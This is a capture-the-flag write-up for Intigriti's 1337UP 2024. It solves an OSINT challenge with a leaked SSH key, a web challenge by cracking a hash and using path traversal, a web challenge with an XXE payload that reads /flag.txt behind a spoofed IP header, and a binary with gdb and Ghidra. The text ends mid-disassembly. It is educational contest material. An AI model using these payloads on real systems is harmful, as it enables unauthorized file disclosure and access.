Home Intigriti - 1337UP CTF 2024
Post
Cancel

Intigriti - 1337UP CTF 2024

A virtual CTF for the hacking community!

Intigriti proudly presents the second edition of the 1337UP LIVE CTF. This capture the flag event will have hackers fighting in teams of 6 in a Jeopardy-style event.

OSINT - Private Github Repository

Bob Robizillo created a public instructions for Tiffany, so she can start work on new secret project. can you access the secret repository?

This challenge marks my first First Blood 🩸! In CTF terminology, β€œFirst Blood” means being the first to solve a challenge, with no one else having solved it before you. I’ve been aiming to achieve this for a while, and I’m thrilled to have successfully solved it first!

privategithubrepo-firstblood1

privategithubrepo-firstblood2

We search for the name Bob Robizillo on google and Github. We get a github account: bob-193

The profile is quite empty, no commit history, no repositories visible.

privategithubrepo-githubprofile

We can check their gists where we find a file: email.md:

1
2
3
4
5
6
7
8
9
Dear Tiffany,

I hope this message finds you well. To streamline our collaboration on the 1337up repository, I kindly ask you to add the enclosed SSH key to your account. This step is crucial for enabling a seamless forking process and enhancing our project efficiency.

Thank you for your prompt attention to this matter.

Best regards, Bob Robizillo

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

We can decode the provided base64 data to a ssh key.

1
2
3
4
5
$ echo "<BASE64_DATA>" | base64 -d > id_rsa && chmod 600 id_rsa
$ ssh-add id_rsa      
Identity added: id_rsa (1337up)
$ ssh -T git@github.com
Hi nitrofany! You've successfully authenticated, but GitHub does not provide shell access.

We can now clone the mentioned β€œ1337up” repository.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ git clone git@github.com:nitrofany/1337up.git
$ ls
1337up  id_rsa
$ cd 1337up 
$ ls
config  readme.md
$ cat readme.md     
Hey, Tiffany! You will need to save this repo in your user space and implement changes we agreed earlier.
$ cd config    
$ ls -all
total 1
drwxrwx--- 1 root vboxsf  0 Nov 15 13:36 .
drwxrwx--- 1 root vboxsf  0 Nov 15 13:36 ..
-rwxrwx--- 1 root vboxsf 44 Nov 15 13:36 .env
$ cat .env                
flag=replace with production INTIGRITI{...}

These files don’t show anything useful but we can check the history.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ git log           
commit 0f2ad0478e2acc0536be49ecefcb5e12cf797228 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@vmi1519856.contaboserver.net>
Date:   Mon Aug 19 14:17:45 2024 +0200

    update

commit 5c18888418fd3f2a9d76cfd278b69c1f7c41ba4f
Author: root <root@vmi1519856.contaboserver.net>
Date:   Mon Aug 19 14:15:57 2024 +0200

    update

commit d127325918e586ed6bfbd7fff94e049378d5694b
Author: root <root@vmi1519856.contaboserver.net>
Date:   Mon Aug 19 14:14:02 2024 +0200

    update

commit 5f73d374eace947a4fb12a8e81ceb5a8ca849807
Author: bob-193 <148455791+bob-193@users.noreply.github.com>
Date:   Mon Aug 19 14:04:04 2024 +0300

    init

Iterating of the commits, we find an interesting one that has an URL to a repository of the β€œnitrofany” user where we have the ssh key of.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ git show 0f2ad0478e2acc0536be49ecefcb5e12cf797228
commit 0f2ad0478e2acc0536be49ecefcb5e12cf797228 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@vmi1519856.contaboserver.net>
Date:   Mon Aug 19 14:17:45 2024 +0200

    update

diff --git a/.gitmodules b/.gitmodules
deleted file mode 100644
index 0f2b51c..0000000
--- a/.gitmodules
+++ /dev/null
@@ -1,3 +0,0 @@
-[submodule "config"]
-       path = config
-       url = https://github.com/nitrofany/01189998819991197253
diff --git a/config/.env b/config/.env
new file mode 100644
index 0000000..1758539
--- /dev/null
+++ b/config/.env
@@ -0,0 +1 @@
+flag=replace with production INTIGRITI{...}

We can clone the found repository and find the flag.

1
2
3
4
5
6
$ git clone git@github.com:nitrofany/01189998819991197253.git
$ cd 01189998819991197253 
$ ls
flag.md
$ cat flag.md            
# INTIGRITI{9e0121bb8bce15ead3d7f529a81b77b4}

Web - Pizza

Something weird going on at this pizza store!!

pizza-store-homepage

The website itself doesn’t provide much, but when we check the /robots.txt, we found the following:

1
2
3
User-agent: *
Disallow: /secret_172346606e1d24062e891d537e917a90.html
Disallow: /assets/

The file disclosed a secret endpoint: /secret_172346606e1d24062e891d537e917a90.html. Visiting this URL revealed a login page.

pizza-store-homepage

Examining the page’s source code revealed JavaScript references related to authentication.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<script src="/assets/js/auth.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
    function hashPassword(password) {
        return CryptoJS.SHA256(password).toString();
    }

    function validate() {
        const username = document.getElementById("username").value;
        const password = document.getElementById("password").value;

        const credentials = getCredentials();
        const passwordHash = hashPassword(password);

        if (
            username === credentials.username &&
            passwordHash === credentials.passwordHash
        ) {
            return true;
        } else {
            alert("Invalid credentials!");
            return false;
        }
    }
</script>

Inside /assets/js/auth.js, the credentials are defined as:

1
2
3
4
5
6
7
8
9
const validUsername = "agent_1337";
const validPasswordHash = "91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac";

function getCredentials() {
    return {
        username: validUsername,
        passwordHash: validPasswordHash,
    };
}

Using CrackStation, the hash 91a915b6bdcfb47045859288a9e2bd651af246f07a083f11958550056bed8eac was cracked. The password is: intel420

After logging in with the credentials, we get access to the secret application:

1
2
    Username: agent_1337
    Password: intel420

pizza-store-download

You are allowed to download four images. However, when attempting to download a non-existent file, the server responds with β€œFile not Found!”.

1
2
3
4
5
6
7
8
9
10
<form method="GET" action="">
    <label for="image">Select Image to Download:</label>
    <select name="download" id="image" onchange="updateImage()">
        <option value="/assets/images/topsecret1.png">Image 1</option>
        <option value="/assets/images/topsecret2.png">Image 2</option>
        <option value="/assets/images/topsecret3.png">Image 3</option>
        <option value="/assets/images/topsecret4.png">Image 4</option>
    </select>
    <button type="submit">Download</button>
</form>

By modifying the download parameter in the URL, we performed a path traversal attack to access the source code of the local PHP file:

1
https://pizzaparadise.ctf.intigriti.io/topsecret_a9aedc6c39f654e55275ad8e65e316b3.php?download=%2Fassets%2Fimages%2F..%2F..%2Ftopsecret_a9aedc6c39f654e55275ad8e65e316b3.php

The source code revealed the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

$flag = 'INTIGRITI{70p_53cr37_m15510n_c0mpl373}';

if (isset($_GET['download'])) {
    $file = $_GET['download'];
    if (strpos($file, '/assets/images/') === 0) {
        $filePath = __DIR__ . '/' . $file;
        if (file_exists($filePath)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
            header('Content-Length: ' . filesize($filePath));
            readfile($filePath);
            exit();
        } else {
            die('File not found!');
        }
    } else {
        die('File path not allowed!');
    }
}

INTIGRITI{70p_53cr37_m15510n_c0mpl373}

Web - BioCorp

BioCorp contacted us with some concerns about the security of their network. Specifically, they want to make sure they’ve decoupled any dangerous functionality from the public facing website. Could you give it a quick review?

Upon reviewing the provided source code, we can see in the header.php file that if the request includes the header X-Biocorp-Vpn with the value 80.187.61.102, the page will reveal a link to a hidden control panel.

In panel.php, the code checks if the request is a POST with XML content and processes the XML data. The code uses DOMDocument to parse the XML and then extracts values for temperature, pressure, and control_rods from the XML tags. These values are then displayed on the page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];

if ($ip_address !== '80.187.61.102') {
    echo "<h1>Access Denied</h1>";
    echo "<p>You do not have permission to access this page.</p>";
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
    $xml_data = file_get_contents('php://input');
    $doc = new DOMDocument();
    if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
        echo "<h1>Invalid XML</h1>";
        exit;
    }
} else {
    $xml_data = file_get_contents('data/reactor_data.xml');
    $doc = new DOMDocument();
    $doc->loadXML($xml_data, LIBXML_NOENT);
}

$temperature = $doc->getElementsByTagName('temperature')->item(0)->nodeValue ?? 'Unknown';
$pressure = $doc->getElementsByTagName('pressure')->item(0)->nodeValue ?? 'Unknown';
$control_rods = $doc->getElementsByTagName('control_rods')->item(0)->nodeValue ?? 'Unknown';

include 'header.php';
?>

<div class="container center-content">
    <h1>Welcome to the Control Panel</h1>
    <p>Here you can view reactor values:</p>

    <ul class="reactor-values">
        <li><i class="fas fa-thermometer-half"></i> Temperature: <?php echo htmlspecialchars($temperature); ?> Β°C</li>
        <li><i class="fas fa-tachometer-alt"></i> Pressure: <?php echo htmlspecialchars($pressure); ?> kPa</li>
        <li><i class="fas fa-cogs"></i> Control Rods: <?php echo htmlspecialchars($control_rods); ?></li>
    </ul>

    <button id="refresh-btn">Refresh Reactor Values</button>
</div>

<script>
    document.getElementById('refresh-btn').addEventListener('click', function () {
        location.reload();
    });
</script>

<?php include 'footer.php'; ?>

By sending a POST request to /panel.php` with an XML payload containing an external entity (xxe), we can access files on the server. The XML payload would look like this:

1
2
3
4
5
6
7
8
9
10
POST /panel.php HTTP/2
Host: biocorp.ctf.intigriti.io
X-Biocorp-Vpn: 80.187.61.102

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///flag.txt"> 
]>
<temperature>&xxe;</temperature>

This request will trigger the XXE vulnerability, and the content of flag.txt will be included in the response. The flag is revealed as follows:

1
2
3
<li>
    <i class="fas fa-thermometer-half"></i> Temperature: INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn} Β°C</li>
<li>

Semgrep

We can write a semgrep rule to prevent XXE from happening in the future:

1
2
3
4
5
6
7
8
9
10
rules:
  - id: prevent-xxe-xml-parsing
    pattern: |
      $doc->loadXML($xml_data, LIBXML_NOENT);
    message: "Disabling entity loading (LIBXML_NOENT) allows XXE vulnerabilities."
    severity: ERROR
    languages: [php]
    metadata:
      category: security
      type: xxe

Reverse Engineering - Secure Bank

Can you crack the bank?

Install pwngdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
$ gdb secure_bank 
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000001311 <+0>:     push   rbp
   0x0000000000001312 <+1>:     mov    rbp,rsp
   0x0000000000001315 <+4>:     sub    rsp,0x10
   0x0000000000001319 <+8>:     mov    eax,0x0
   0x000000000000131e <+13>:    call   0x1159 <banner>
   0x0000000000001323 <+18>:    mov    eax,0x0
   0x0000000000001328 <+23>:    call   0x119c <login_message>
   0x000000000000132d <+28>:    lea    rax,[rip+0xe9f]        # 0x21d3
   0x0000000000001334 <+35>:    mov    rdi,rax
   0x0000000000001337 <+38>:    mov    eax,0x0
   0x000000000000133c <+43>:    call   0x1040 <printf@plt>
   0x0000000000001341 <+48>:    lea    rax,[rbp-0x8]
   0x0000000000001345 <+52>:    mov    rsi,rax
   0x0000000000001348 <+55>:    lea    rax,[rip+0xe9b]        # 0x21ea
   0x000000000000134f <+62>:    mov    rdi,rax
   0x0000000000001352 <+65>:    mov    eax,0x0
   0x0000000000001357 <+70>:    call   0x1050 <__isoc99_scanf@plt>
   0x000000000000135c <+75>:    mov    eax,DWORD PTR [rbp-0x8]
   0x000000000000135f <+78>:    cmp    eax,0x539
   0x0000000000001364 <+83>:    je     0x137c <main+107>
   0x0000000000001366 <+85>:    lea    rax,[rip+0xe80]        # 0x21ed
   0x000000000000136d <+92>:    mov    rdi,rax
   0x0000000000001370 <+95>:    call   0x1030 <puts@plt>
   0x0000000000001375 <+100>:   mov    eax,0x1
   0x000000000000137a <+105>:   jmp    0x13cc <main+187>
   0x000000000000137c <+107>:   mov    eax,DWORD PTR [rbp-0x8]
   0x000000000000137f <+110>:   mov    edi,eax
   0x0000000000001381 <+112>:   call   0x11fa <generate_2fa_code>
   0x0000000000001386 <+117>:   mov    DWORD PTR [rbp-0x4],eax
   0x0000000000001389 <+120>:   lea    rax,[rip+0xe7b]        # 0x220b
   0x0000000000001390 <+127>:   mov    rdi,rax
   0x0000000000001393 <+130>:   mov    eax,0x0
   0x0000000000001398 <+135>:   call   0x1040 <printf@plt>
   0x000000000000139d <+140>:   lea    rax,[rbp-0xc]
   0x00000000000013a1 <+144>:   mov    rsi,rax
   0x00000000000013a4 <+147>:   lea    rax,[rip+0xe3f]        # 0x21ea
   0x00000000000013ab <+154>:   mov    rdi,rax
   0x00000000000013ae <+157>:   mov    eax,0x0
   0x00000000000013b3 <+162>:   call   0x1050 <__isoc99_scanf@plt>
   0x00000000000013b8 <+167>:   mov    eax,DWORD PTR [rbp-0xc]
   0x00000000000013bb <+170>:   mov    edx,DWORD PTR [rbp-0x4]
   0x00000000000013be <+173>:   mov    esi,edx
   0x00000000000013c0 <+175>:   mov    edi,eax
   0x00000000000013c2 <+177>:   call   0x12ba <validate_2fa_code>
   0x00000000000013c7 <+182>:   mov    eax,0x0
   0x00000000000013cc <+187>:   leave
   0x00000000000013cd <+188>:   ret
End of assembler dump.
pwndbg> break *main+78
Breakpoint 1 at 0x135f
pwndbg> run
Starting program: /media/sf_Shared/1337up 2024/secure_bank 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
****************************************
*         Welcome to SecureBank        *
*    Your trusted partner in security  *
****************************************

========================================
=   SecureBank Superadmin Login System =
========================================

Enter superadmin PIN: 1234

Breakpoint 1, 0x000055555555535f in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────
 RAX  0x4d2
 RBX  0x7fffffffdee8 β€”β–Έ 0x7fffffffe25f β—‚β€” '/media/sf_Shared/1337up 2024/secure_bank'
 RCX  0
 RDX  0
 RDI  0x7fffffffd880 β—‚β€” 0x34333231 /* '1234' */
 RSI  0x4d2
 R8   0xa
 R9   0
 R10  0
 R11  0x7ffff7f3f8e0 (_nl_C_LC_CTYPE_class+256) β—‚β€” 0x2000200020002
 R12  0
 R13  0x7fffffffdef8 β€”β–Έ 0x7fffffffe288 β—‚β€” 'COLORFGBG=15;0'
 R14  0x7ffff7ffd000 (_rtld_global) β€”β–Έ 0x7ffff7ffe2e0 β€”β–Έ 0x555555554000 β—‚β€” 0x10102464c457f
 R15  0x555555557dd8 (__do_global_dtors_aux_fini_array_entry) β€”β–Έ 0x555555555110 (__do_global_dtors_aux) β—‚β€” endbr64 
 RBP  0x7fffffffddd0 β—‚β€” 1
 RSP  0x7fffffffddc0 β—‚β€” 0
 RIP  0x55555555535f (main+78) β—‚β€” cmp eax, 0x539
───────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────
 β–Ί 0x55555555535f <main+78>     cmp    eax, 0x539     0x4d2 - 0x539     EFLAGS => 0x297 [ CF PF AF zf SF IF df of ]
   0x555555555364 <main+83>     je     main+107                    <main+107>
 
   0x555555555366 <main+85>     lea    rax, [rip + 0xe80]     RAX => 0x5555555561ed β—‚β€” 'Access Denied! Incorrect PIN.'
   0x55555555536d <main+92>     mov    rdi, rax               RDI => 0x5555555561ed β—‚β€” 'Access Denied! Incorrect PIN.'
   0x555555555370 <main+95>     call   puts@plt                    <puts@plt>
 
   0x555555555375 <main+100>    mov    eax, 1                 EAX => 1
   0x55555555537a <main+105>    jmp    main+187                    <main+187>
    ↓
   0x5555555553cc <main+187>    leave  
   0x5555555553cd <main+188>    ret    
 
   0x5555555553ce               add    byte ptr [rax], al
   0x5555555553d0 <_fini>       sub    rsp, 8
────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────
00:0000β”‚ rsp 0x7fffffffddc0 β—‚β€” 0
01:0008β”‚-008 0x7fffffffddc8 β—‚β€” 0x7fff000004d2
02:0010β”‚ rbp 0x7fffffffddd0 β—‚β€” 1
03:0018β”‚+008 0x7fffffffddd8 β€”β–Έ 0x7ffff7dd9d68 (__libc_start_call_main+120) β—‚β€” mov edi, eax
04:0020β”‚+010 0x7fffffffdde0 β€”β–Έ 0x7fffffffded0 β€”β–Έ 0x7fffffffded8 β—‚β€” 0x38 /* '8' */
05:0028β”‚+018 0x7fffffffdde8 β€”β–Έ 0x555555555311 (main) β—‚β€” push rbp
06:0030β”‚+020 0x7fffffffddf0 β—‚β€” 0x155554040
07:0038β”‚+028 0x7fffffffddf8 β€”β–Έ 0x7fffffffdee8 β€”β–Έ 0x7fffffffe25f β—‚β€” '/media/sf_Shared/1337up 2024/secure_bank'
──────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────
 β–Ί 0   0x55555555535f main+78
   1   0x7ffff7dd9d68 __libc_start_call_main+120
   2   0x7ffff7dd9e25 __libc_start_main+133
   3   0x555555555091 _start+33
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> print (int) 0x539
$1 = 1337
pwndbg> print (int) 0x4d2
$2 = 1234
pwndbg> run
Starting program: /media/sf_Shared/1337up 2024/secure_bank 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
****************************************
*         Welcome to SecureBank        *
*    Your trusted partner in security  *
****************************************

========================================
=   SecureBank Superadmin Login System =
========================================

Enter superadmin PIN: 1337

Breakpoint 1, 0x000055555555535f in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────
 RAX  0x539
 RBX  0x7fffffffdee8 β€”β–Έ 0x7fffffffe25f β—‚β€” '/media/sf_Shared/1337up 2024/secure_bank'
 RCX  0
 RDX  0
 RDI  0x7fffffffd880 β—‚β€” 0x37333331 /* '1337' */
 RSI  0x539
 R8   0xa
 R9   0
 R10  0
 R11  0x7ffff7f3f8e0 (_nl_C_LC_CTYPE_class+256) β—‚β€” 0x2000200020002
 R12  0
 R13  0x7fffffffdef8 β€”β–Έ 0x7fffffffe288 β—‚β€” 'COLORFGBG=15;0'
 R14  0x7ffff7ffd000 (_rtld_global) β€”β–Έ 0x7ffff7ffe2e0 β€”β–Έ 0x555555554000 β—‚β€” 0x10102464c457f
 R15  0x555555557dd8 (__do_global_dtors_aux_fini_array_entry) β€”β–Έ 0x555555555110 (__do_global_dtors_aux) β—‚β€” endbr64 
 RBP  0x7fffffffddd0 β—‚β€” 1
 RSP  0x7fffffffddc0 β—‚β€” 0
 RIP  0x55555555535f (main+78) β—‚β€” cmp eax, 0x539
───────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────
 β–Ί 0x55555555535f <main+78>     cmp    eax, 0x539     0x539 - 0x539     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
   0x555555555364 <main+83>   βœ” je     main+107                    <main+107>
    ↓
   0x55555555537c <main+107>    mov    eax, dword ptr [rbp - 8]     EAX, [0x7fffffffddc8] => 0x539
   0x55555555537f <main+110>    mov    edi, eax                     EDI => 0x539
   0x555555555381 <main+112>    call   generate_2fa_code           <generate_2fa_code>
 
   0x555555555386 <main+117>    mov    dword ptr [rbp - 4], eax
   0x555555555389 <main+120>    lea    rax, [rip + 0xe7b]           RAX => 0x55555555620b β—‚β€” 'Enter your 2FA code: '
   0x555555555390 <main+127>    mov    rdi, rax
   0x555555555393 <main+130>    mov    eax, 0                       EAX => 0
   0x555555555398 <main+135>    call   printf@plt                  <printf@plt>
 
   0x55555555539d <main+140>    lea    rax, [rbp - 0xc]
────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────
00:0000β”‚ rsp 0x7fffffffddc0 β—‚β€” 0
01:0008β”‚-008 0x7fffffffddc8 β—‚β€” 0x7fff00000539
02:0010β”‚ rbp 0x7fffffffddd0 β—‚β€” 1
03:0018β”‚+008 0x7fffffffddd8 β€”β–Έ 0x7ffff7dd9d68 (__libc_start_call_main+120) β—‚β€” mov edi, eax
04:0020β”‚+010 0x7fffffffdde0 β€”β–Έ 0x7fffffffded0 β€”β–Έ 0x7fffffffded8 β—‚β€” 0x38 /* '8' */
05:0028β”‚+018 0x7fffffffdde8 β€”β–Έ 0x555555555311 (main) β—‚β€” push rbp
06:0030β”‚+020 0x7fffffffddf0 β—‚β€” 0x155554040
07:0038β”‚+028 0x7fffffffddf8 β€”β–Έ 0x7fffffffdee8 β€”β–Έ 0x7fffffffe25f β—‚β€” '/media/sf_Shared/1337up 2024/secure_bank'
──────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────
 β–Ί 0   0x55555555535f main+78
   1   0x7ffff7dd9d68 __libc_start_call_main+120
   2   0x7ffff7dd9e25 __libc_start_main+133
   3   0x555555555091 _start+33
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> continue
Continuing.
Enter your 2FA code: 1234
Access Denied! Incorrect 2FA code.
[Inferior 1 (process 80964) exited normally]

ghidra, create temp project, import binary, let automatic analysis run, then go to functions and open up main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool main(void)

{
  undefined4 local_14;
  int local_10;
  undefined4 local_c;
  
  banner();
  login_message();
  printf("Enter superadmin PIN: ");
  __isoc99_scanf(&DAT_001021ea,&local_10);
  if (local_10 == 0x539) {
    local_c = generate_2fa_code(0x539);
    printf("Enter your 2FA code: ");
    __isoc99_scanf(&DAT_001021ea,&local_14);
    validate_2fa_code(local_14,local_c);
  }
  else {
    puts("Access Denied! Incorrect PIN.");
  }
  return local_10 != 0x539;
}

we clean up and rename the variables (press L on the variables)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool main(void)

{
  undefined4 input_2FA;
  int input_pin;
  undefined4 local_c;
  
  banner();
  login_message();
  printf("Enter superadmin PIN: ");
  __isoc99_scanf(&DAT_001021ea,&input_pin);
  if (input_pin == 1337) {
    local_c = generate_2fa_code(1337);
    printf("Enter your 2FA code: ");
    __isoc99_scanf(&DAT_001021ea,&input_2FA);
    validate_2fa_code(input_2FA,local_c);
  }
  else {
    puts("Access Denied! Incorrect PIN.");
  }
  return input_pin != 1337;
}

Looking at the validate_2fa_code it does a some shifting and xor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
uint generate_2fa_code(int param_1)

{
  int local_14;
  uint local_10;
  uint local_c;
  
  local_10 = param_1 * 0xbeef;
  local_c = local_10;
  for (local_14 = 0; local_14 < 10; local_14 = local_14 + 1) {
    local_c = obscure_key(local_c);
    local_10 = ((local_10 ^ local_c) << 5 | (local_10 ^ local_c) >> 0x1b) +
               (local_c << ((char)local_14 + (char)(local_14 / 7) * -7 & 0x1fU) ^
               local_c >> ((char)local_14 + (char)(local_14 / 5) * -5 & 0x1fU));
  }
  return local_10 & 0xffffff;
}

We could create a python script that does the same with β€œ1337” as input but we went the dynamic analysis route.

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000001311 <+0>:     push   rbp
   0x0000000000001312 <+1>:     mov    rbp,rsp
   0x0000000000001315 <+4>:     sub    rsp,0x10
   0x0000000000001319 <+8>:     mov    eax,0x0
   0x000000000000131e <+13>:    call   0x1159 <banner>
   0x0000000000001323 <+18>:    mov    eax,0x0
   0x0000000000001328 <+23>:    call   0x119c <login_message>
   0x000000000000132d <+28>:    lea    rax,[rip+0xe9f]        # 0x21d3
   0x0000000000001334 <+35>:    mov    rdi,rax
   0x0000000000001337 <+38>:    mov    eax,0x0
